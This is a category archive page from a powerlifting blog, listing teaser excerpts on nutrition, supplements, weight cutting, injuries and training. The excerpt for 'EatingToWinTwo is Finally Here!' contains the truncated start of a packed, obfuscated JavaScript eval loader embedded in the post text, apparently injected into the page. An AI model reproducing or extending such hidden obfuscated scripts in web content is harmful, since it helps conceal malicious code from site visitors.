Category Archives: All

POWERBUILDING: One More Pound, The eBook

The Powerbuilding eBook is finally here! Below, I’m going to include the first chapter of the book… for FREE so you can get a feel for what it is all about. You can purcha… More

PODCAST: Powerlifting Nutrition with Lyle McDonald!

There are a TON of stories and tangents in this one guys, but the topics range from optimal macro composition for a powerlifting diet, to how to pick your weight class, to when to move… More

IzzyNarvaez.com is LIVE!!!

Like Izzy’s content? His newest project, www.IzzyNarvaez.com is now live! For all of his latest content on training, nutrition, supplements, drugs, psychology, his per… More

Mentally Dealing with Powerlifting Injuries

There is nothing more demotivating to the powerlifter than the persistent feeling that they aren’t making progress and there is nothing more destructive to your literal p… More

How to Fix POVERTY Bench Press!

One of the more intriguing phenomenons in powerlifting circles is “poverty bench”. Poverty bench simply refers to an individual whose bench strength is largely ou… More

Bicep, Elbow and Shoulder Pain from Low Bar Squats

If I had to pick one “injury” that is by far the most common among all the powerlifters that I’ve worked with, it would easily be some kind of tendinitis from low… More

EatingToWinTwo is Finally Here!

Click the image below to download now! If eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a… More

The Best Supplements for Powerlifting

In this installment of the Powerlifting Nutrition Series, we’re going to tackle one of those most controversial areas of nutrition: supplementation. If you’d rat… More

Meal Frequency and Nutrient Timing in Powerlifting

In this installment of the PowerliftingToWin Nutrition Series, we’re going to tackle an incredibly popular topic in the health and fitness world: meal frequency and nutr… More

Setting Up Your Powerlifting Macros

While it has certainly been a while since the last installment of the Powerlifting Nutrition Series, the show must go on. Beginning with this article, we’re going to discus… More

How To Diet for Powerlifting

Thus far in the powerlifting nutrition series, we’ve really outed the WHY and the WHAT behind powerlifting nutrition. Now that we’ve got those pieces in place, we ne… More

Cutting Weight Powerlifting: 2 Hour and 24 Hour Weigh Ins

Let’s talk about how to cut weight for powerlifting! In the last article in the nutrition series, we discussed when to move up a weight class. If you’ll recall, our rule for de… More

Nutritional Strategies for Powerlifting

For whatever reason, people get very adversarial about their programming plans. As you all know, we just HAVE to have those debates about what is better: 5/3/1 or Cube, Sheiko or S… More

One Weird Programming Trick To Increase Your Strength!

I’ve been wanting to write this article for a very, very long time. Despite the fact that I spent nearly a month reviewing dozens of programs, various methods of organizing trainin… More